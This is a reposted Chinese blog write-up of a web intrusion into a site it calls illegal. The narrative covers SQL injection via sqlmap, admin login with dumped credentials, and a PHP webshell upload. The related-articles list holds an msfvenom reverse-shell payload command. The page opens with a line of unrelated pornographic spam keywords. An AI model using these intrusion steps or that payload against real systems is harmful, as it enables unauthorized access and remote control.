国产无码综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

一次違法網(wǎng)站的滲透經(jīng)歷

1年前作者：吉吉說安全分類：Toy博客閱讀(22)違法舉報

這篇具有很好參考價值的文章主要介紹了一次違法網(wǎng)站的滲透經(jīng)歷。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方，請大家不吝賜教，您也可以點擊"舉報違法"按鈕提交疑問。

0x01 前言

在一次攻防演練中，我發(fā)現(xiàn)了一個有趣的滲透路徑。在信息收集階段，我注意到目標網(wǎng)站和用戶資產(chǎn)網(wǎng)站共享相同的IP網(wǎng)段。這意味著它們可能在同一臺服務(wù)器上托管，或者至少由同一家互聯(lián)網(wǎng)服務(wù)提供商管理。這種情況為我們的滲透測試提供了一個有利的條件，因為我們可以利用這種關(guān)聯(lián)性來嘗試在用戶資產(chǎn)網(wǎng)站上發(fā)現(xiàn)的漏洞或弱點來滲透目標網(wǎng)站。

在滲透測試中，我們可以采取以下步驟：

1. 識別目標網(wǎng)站和用戶資產(chǎn)網(wǎng)站的關(guān)聯(lián)性：通過網(wǎng)絡(luò)掃描工具或手動查找，確認它們是否使用相同的IP地址范圍或者是否有其他關(guān)聯(lián)性，比如共享相同的網(wǎng)絡(luò)設(shè)備或服務(wù)。

2. 分析用戶資產(chǎn)網(wǎng)站的安全性：對用戶資產(chǎn)網(wǎng)站進行漏洞掃描、Web應(yīng)用安全性評估或滲透測試，尋找可能存在的安全漏洞或配置錯誤。

3. 利用關(guān)聯(lián)性進行攻擊：如果在用戶資產(chǎn)網(wǎng)站上發(fā)現(xiàn)了可利用的漏洞或弱點，嘗試利用這些漏洞或弱點來攻擊目標網(wǎng)站。這可能包括利用未經(jīng)授權(quán)訪問、注入攻擊、跨站腳本（XSS）攻擊等。

4. 提高權(quán)限和獲取敏感信息：一旦成功滲透目標網(wǎng)站，嘗試提升權(quán)限以獲取更高級別的訪問權(quán)限，并查找可能的敏感信息，比如數(shù)據(jù)庫憑證、用戶數(shù)據(jù)等。

5. 報告結(jié)果并提出建議：對滲透測試過程中發(fā)現(xiàn)的漏洞、攻擊路徑和成功滲透的結(jié)果進行詳細報告，并提出改進建議，幫助目標網(wǎng)站加強安全防護措施。

通過利用用戶資產(chǎn)網(wǎng)站和目標網(wǎng)站的關(guān)聯(lián)性，我們可以更有效地發(fā)現(xiàn)和利用目標網(wǎng)站的安全漏洞，提高攻擊成功的可能性。

0?x02 SQL注入漏洞發(fā)現(xiàn)

打開站點進行訪問403服務(wù)器拒絕訪問

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

通過插件查看站點為php類型

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

常規(guī)掃目錄

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

前臺

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

通過一鍵登錄在新增地址處發(fā)現(xiàn)注入

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

0x03 進一步漏洞利用

此處提示需要get傳參，在address.php請求處，隨便填了個數(shù)字請求后，繼續(xù)填寫信息并抓包，開始sqlmap

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

經(jīng)過長時間的等待，發(fā)現(xiàn)存在sql布爾盲注和報錯注入

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

接下來找站點后臺管理地址

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

利用注入得到的賬號密碼登入后臺

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

0x04 任意文件上傳

尋找上傳點

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

上傳

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

訪問路徑

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

直接上傳php木馬抬走

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò)

拿下了站點，簡單高效一套帶走！?

免費紅隊知識庫：

知識庫免費送價值上千會員一年

一次違法網(wǎng)站的滲透經(jīng)歷,安全,web安全,網(wǎng)絡(luò)安全,可信計算技術(shù),安全架構(gòu),網(wǎng)絡(luò)攻擊模型,計算機網(wǎng)絡(luò) 文章來源地址http://www.zghlxwxcb.cn/news/detail-859272.html

到了這里，關(guān)于一次違法網(wǎng)站的滲透經(jīng)歷的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！

本文來自互聯(lián)網(wǎng)用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務(wù)，不擁有所有權(quán)，不承擔相關(guān)法律責任。如若轉(zhuǎn)載，請注明出處：如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符，請點擊違法舉報進行投訴反饋，一經(jīng)查實，立即刪除！

分享到：

領(lǐng)支付寶紅包贊助服務(wù)器費用

網(wǎng)絡(luò)安全B模塊（筆記詳解）- Web滲透測試
1.通過滲透機Kali1.0對服務(wù)器場景PYsystem20192進行Web滲透測試（使用工具w3af的對目標Web服務(wù)器進行審計），在w3af的命令行界面下，使用命令列出所有用于審計的插件，將該操作使用的命令作為Flag值提交；進入kali命令控制臺中使用命令w3af_console進入w3af命令行模式，通過輸入命令
2024年01月25日
瀏覽(29)
網(wǎng)絡(luò)安全從業(yè)人員應(yīng)該如何提升自身的web滲透能力?
前言 web 滲透這個東西學起來如果沒有頭緒和路線的話，是非常燒腦的。理清 web 滲透學習思路，把自己的學習方案和需要學習的點全部整理，你會發(fā)現(xiàn)突然滲透思路就有點眉目了。程序員之間流行一個詞，叫 35 歲危機，，意思就是說 35 歲是個坎，容易被淘汰。那么安全行
2023年04月09日
瀏覽(26)
信息服務(wù)上線滲透檢測網(wǎng)絡(luò)安全檢查報告和解決方案4(網(wǎng)站風險等級評定標準、漏洞危害分級標準、漏洞安全建議)
信息服務(wù)上線滲透檢測網(wǎng)絡(luò)安全檢查報告和解決方案3(系統(tǒng)漏洞掃描、相對路徑覆蓋RPO漏洞、nginx漏洞修復(fù)) 信息服務(wù)上線滲透檢測網(wǎng)絡(luò)安全檢查報告和解決方案2(安裝文件信息泄漏、管理路徑泄漏、XSS漏洞、弱口令、邏輯漏洞、終極上傳漏洞升級) 信息服務(wù)上線滲透檢測網(wǎng)絡(luò)安
2024年02月12日
瀏覽(29)
2023年廣東省網(wǎng)絡(luò)安全競賽——Web 滲透測試解析（超級詳細）
任務(wù)環(huán)境說明： √ 服務(wù)器場景：Server03 √ 服務(wù)器場景操作系統(tǒng)：未知（關(guān)閉連接）通過本地 PC?中的滲透測試平臺 Kali?對靶機進行 WEB 滲透，找到頁面內(nèi)的文件上傳漏洞并且嘗試進行上傳攻擊，將文件上傳成功后的頁面回顯字符串作為Flag?提交（如：點擊超鏈接查看上傳文
2023年04月08日
瀏覽(54)
網(wǎng)絡(luò)安全B模塊（筆記詳解）- 利用python腳本進行web滲透測試
1.使用滲透機場景kali中工具掃描確定Web服務(wù)器場景地址，瀏覽網(wǎng)站Flag.html頁面，并將Flag.html中的Flag提交；掃描發(fā)現(xiàn)是8081端口訪問頁面查看 Flag：WXL0601 2.進入滲透機場景win7操作系統(tǒng)，完善桌面上的tupian.py文件，填寫該文件當中空缺的Flag1字符串，并將該字符串作為Flag提交；
2024年01月18日
瀏覽(24)
【網(wǎng)絡(luò)安全】-- 網(wǎng)絡(luò)滲透技術(shù)攻防（--更新中）
1.1.1 什么是網(wǎng)絡(luò)滲透攻擊 “網(wǎng)絡(luò)滲透攻擊”是對大型的網(wǎng)絡(luò)主機服務(wù)器群組采用的一種迂回漸進式的攻擊方法，通過長期而有計劃的逐步滲透攻擊進入網(wǎng)絡(luò)，最終控制整個網(wǎng)絡(luò)。 1.1.2 網(wǎng)絡(luò)滲透測試的意義滲透測試是受信任的第三方進行的一種評估網(wǎng)絡(luò)安全的活動，它通過運
2024年02月13日
瀏覽(23)
網(wǎng)絡(luò)安全—綜合滲透實驗
綜合實驗【實驗描述】隨著互聯(lián)網(wǎng)的普及和快速發(fā)展，互聯(lián)網(wǎng)產(chǎn)品多樣化、迭代快的特點為一些企業(yè)贏得了機會，同樣也給企業(yè)帶來了眾多安全問題。如網(wǎng)絡(luò)安全、系統(tǒng)安全、web安全、數(shù)據(jù)安全等。本實驗?zāi)M企業(yè)復(fù)雜網(wǎng)絡(luò)、復(fù)雜應(yīng)用環(huán)境，通過數(shù)據(jù)包分析、漏洞挖掘、滲
2024年02月15日
瀏覽(25)
網(wǎng)絡(luò)安全滲透測試實驗一
理解網(wǎng)絡(luò)掃描、網(wǎng)絡(luò)偵察的作用；通過搭建網(wǎng)絡(luò)滲透測試平臺，了解并熟悉常用搜索引擎、掃描工具的應(yīng)用，通過信息收集為下一步滲透工作打下基礎(chǔ)。系統(tǒng)環(huán)境：Kali Linux 2、Windows 網(wǎng)絡(luò)環(huán)境：交換網(wǎng)絡(luò)結(jié)構(gòu) 實驗工具： Metasploitable2（需自行下載虛擬機鏡像）；Nmap（Kali）；
2023年04月26日
瀏覽(27)
網(wǎng)絡(luò)攻擊（一）--安全滲透簡介
目標了解滲透測試的基本概念了解滲透測試從業(yè)人員的注意事項在了解滲透測試之前，我們先看看，信息安全相關(guān)的法律是怎么樣的中華人民共和國網(wǎng)絡(luò)安全法《中華人民共和國網(wǎng)絡(luò)安全法》由全國人民代表大會常務(wù)委員會于2016年11月7日發(fā)布，自2017年6月1日起施行。中
2024年02月04日
瀏覽(22)
網(wǎng)絡(luò)安全--Kali滲透Windows
這里我們學習使用Kali攻擊機來滲透Windows，這里使用的是msfvenom木馬來進行滲透。命令： msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f exe -o payload.exe 這里說明一下，-p 是指使用的工具模塊，lhost是本機的IP地址,lport是本機的端口, -f 是指生成什么樣的文件，簡稱指定
2024年02月05日
瀏覽(18)

<center id="xzmkr"><meter id="xzmkr"></meter></center>

<sup id="xzmkr"></sup>

<bdo id="xzmkr"></bdo>

<span id="xzmkr"></span>